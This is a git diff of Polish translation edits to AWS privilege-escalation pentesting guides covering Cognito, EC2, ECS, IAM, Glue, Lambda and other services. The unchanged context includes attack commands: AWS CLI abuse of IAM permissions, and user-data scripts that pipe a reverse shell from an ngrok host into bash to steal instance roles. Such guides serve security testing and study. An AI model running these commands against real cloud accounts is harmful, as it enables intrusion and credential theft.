[**sprawdź tę stronę**](../aws-unauthenticat ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -Dzięki temu uprawnieniu możesz **przyznać dowolną rolę cognito** uwierzytelnionym/nieuwierzytelnionym użytkownikom aplikacji cognito. +Dzięki temu uprawnieniu możesz **przyznać dowolną rolę cognito** użytkownikom uwierzytelnionym/nieuwierzytelnionym aplikacji cognito. ```bash aws cognito-identity set-identity-pool-roles \ --identity-pool-id \ @@ -38,7 +38,7 @@ Jeśli aplikacja cognito **nie ma włączonych użytkowników nieautoryzowanych* ### `cognito-identity:update-identity-pool` -Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, w którym może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **logując się** na tym dostawcy użytkowników, **uzyska dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**. +Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, gdzie może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **zalogowanie** się na tym dostawcy użytkowników **pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id - ### `cognito-idp:AdminConfirmSignUp` -To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może się zalogować do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia. +To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -166,7 +166,7 @@ aws cognito-idp set-user-pool-mfa-config \ ``` **UpdateUserPool:** Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. [Sprawdź cli tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**Potencjalny wpływ:** Pośrednie privesc do potencjalnie każdego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA. +**Potencjalny wpływ:** Pośrednie privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA. ### `cognito-idp:AdminUpdateUserAttributes` @@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \ ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool o mniej restrykcyjnych** uprawnieniach niż już istniejące klienty pool. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów... +Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool mniej restrykcyjnego** niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów... To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany jest istniejący**. -W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) można zobaczyć wszystkie opcje, sprawdź to! +W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź to! ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ @@ -236,10 +236,10 @@ aws cognito-idp create-identity-provider \ To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), **przyznane uprawnienia nie są super przydatne z perspektywy atakującego**. -To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest informacją wrażliwą).\ -Identity IDs mogą mieć przypisane [**Zestawy danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj informacji wrażliwych (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji. +To uprawnienie pozwala na odczyt informacji o użytkownikach z Puli Tożsamości i identyfikatorów tożsamości w Puli Tożsamości (co nie jest informacją wrażliwą).\ +Identyfikatory tożsamości mogą mieć przypisane [**Zbiory Danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj wrażliwych informacji (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji. -Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zestawach danych lub **lambda, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj informacji wrażliwych, ale nie jest to niemożliwe. +Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zbiorach danych lub **lambdy, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj wrażliwych informacji, ale nie jest to niemożliwe. ### Narzędzia automatyczne @@ -249,7 +249,7 @@ Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https:// #### Użycie -Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników: +Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 89c76daed..2285fef06 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź: ### Post Exploitation -Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**: +Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index a6f6e58df..9f788f4fe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -20,7 +20,7 @@ Narzędzie [https://github.com/Static-Flow/CloudCopy](https://github.com/Static- ### **`ec2:CreateSnapshot`** -Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, oraz **eksportując plik NTDS.dit i SYSTEM** rejestru do użycia z projektem secretsdump Impacket. +Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket. Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 5b2008fe9..4340e5bea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Dostęp przez rev shell w danych użytkownika** -Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń. +Możesz uruchomić nową instancję, używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -65,7 +65,7 @@ Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej inst aws-ecs-privesc.md {{#endref}} -Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienia `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić skomentowany atak. +Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienia `ecs:RegisterContainerInstance`, możesz zarejestrować instancję w klastrze i przeprowadzić skomentowany atak. **Potencjalny wpływ:** Bezpośrednie privesc do ról ECS przypisanych do zadań. @@ -86,7 +86,7 @@ Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, is ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub określony status profilu instancji). +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) @@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Napastnik z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem w** **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell. +Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -182,7 +182,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**. +Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchomienia** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym podniesieniem uprawnień). +Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem podnoszenia uprawnień). ### `ec2-instance-connect:SendSSHPublicKey` @@ -233,7 +233,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west- ``` Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać. -**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji. +**Potencjalny wpływ:** (Bardzo nieudowodniony) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji. ### `describe-launch-templates`,`describe-launch-template-versions` @@ -256,7 +256,7 @@ Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, moż **Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika IAM. -## References +## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index 4a77da6cf..afb43906e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -20,7 +20,7 @@ Aby uzyskać więcej informacji na temat pobierania obrazów: Atakujący z wszystkimi tymi uprawnieniami **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do podniesienia uprawnień w innych środowiskach, w których te obrazy są używane. -Aby dowiedzieć się, jak przesłać nowy obraz/zaktualizować istniejący, sprawdź: +Aby dowiedzieć się, jak przesłać nowy obraz/aktualizować istniejący, sprawdź: {{#ref}} ../aws-services/aws-eks-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index f03dc40ee..26ec15e7d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Więcej **informacji o ECS** w: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**. +Napastnik nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -97,7 +97,7 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\ -To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli jest to bez roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę EC2 IAM** oraz **inne role kontenerów ECS** działających na węźle.\ +To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\ Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] @@ -145,7 +145,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować przypisaną do niego rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\ -Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (który domyślnie nie jest uruchomiony). +Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (co domyślnie nie jest ustawione). Dlatego atakujący może spróbować: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index f01cb08d9..2f57702a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -64,7 +64,7 @@ Dodatkowe uprawnienia `elasticfilesystem:ClientRootAccess` i `elasticfilesystem: ### `elasticfilesystem:CreateMountTarget` -Jeśli atakujący znajduje się w **podsieci**, w której **nie istnieje punkt montażowy** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem: +Jeśli atakujący znajduje się w **podsieci**, w której **nie ma punktu montowania** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, może po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**: +W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, mógłby po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 6268c9fc7..20bdef474 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` i inne... -Wymienione oraz kilka **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** uprawnień są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw. +Wymienione oraz kilka uprawnień **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw. - Utwórz aplikację AWS Elastic Beanstalk: ```bash @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**: +Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chcesz uruchomić w **ofierze**, postępując zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Gdy masz **własne środowisko Beanstalk uruchamiające** twoją powłokę rev, nadszedł czas, aby **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**): +Gdy masz **własne środowisko Beanstalk uruchamiające** twój rev shell, nadszedł czas, aby je **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 288f18c81..1f3ef3957 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -51,7 +51,7 @@ Dzięki tym uprawnieniom atakujący może przejść do **AWS console**, utworzy ### `elasticmapreduce:OpenEditorInConsole` -Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nią związaną.\ +Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nim związaną.\ URL notatnika to `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index b79c9d522..0407d6779 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -22,9 +22,9 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Dla celów stealth, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue. +W celu zachowania dyskrecji zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue. -**Potencjalny wpływ:** Privesc do roli usługi glue określonej. +**Potencjalny wpływ:** Privesc do roli serwisowej glue. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) @@ -41,7 +41,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Potencjalny wpływ:** Privesc do roli usługi glue. +**Potencjalny wpływ:** Privesc do roli usługi glue używanej. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index b696a1549..4fa7dc4e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat IAM, sprawdź: ### **`iam:CreatePolicyVersion`** -Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień. +Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` za pomocą flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień. **Exploit Command:** ```bash @@ -85,7 +85,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn "" ``` @@ -99,7 +99,7 @@ aws iam attach-group-policy --group-name --policy-arn " Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień. -**Eksploatacja dla Roli:** +**Eksploatacja dla roli:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -167,7 +167,7 @@ Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienia do prz ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Zezwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień. +Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień. **Eksploatacja przesyłania klucza SSH:** ```bash @@ -188,7 +188,7 @@ Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Wpływ:** Pośrednie podniesienie uprawnień przez dodanie lub manipulację urządzeniami MFA. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy. +(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy. ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 901009ae3..50b492547 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -118,7 +118,7 @@ Z funkcją Lambda powiązaną z strumieniem DynamoDB, atakujący może **pośred aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda określonej. +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda określonej. ### `lambda:AddPermission` @@ -143,10 +143,10 @@ aws lambda 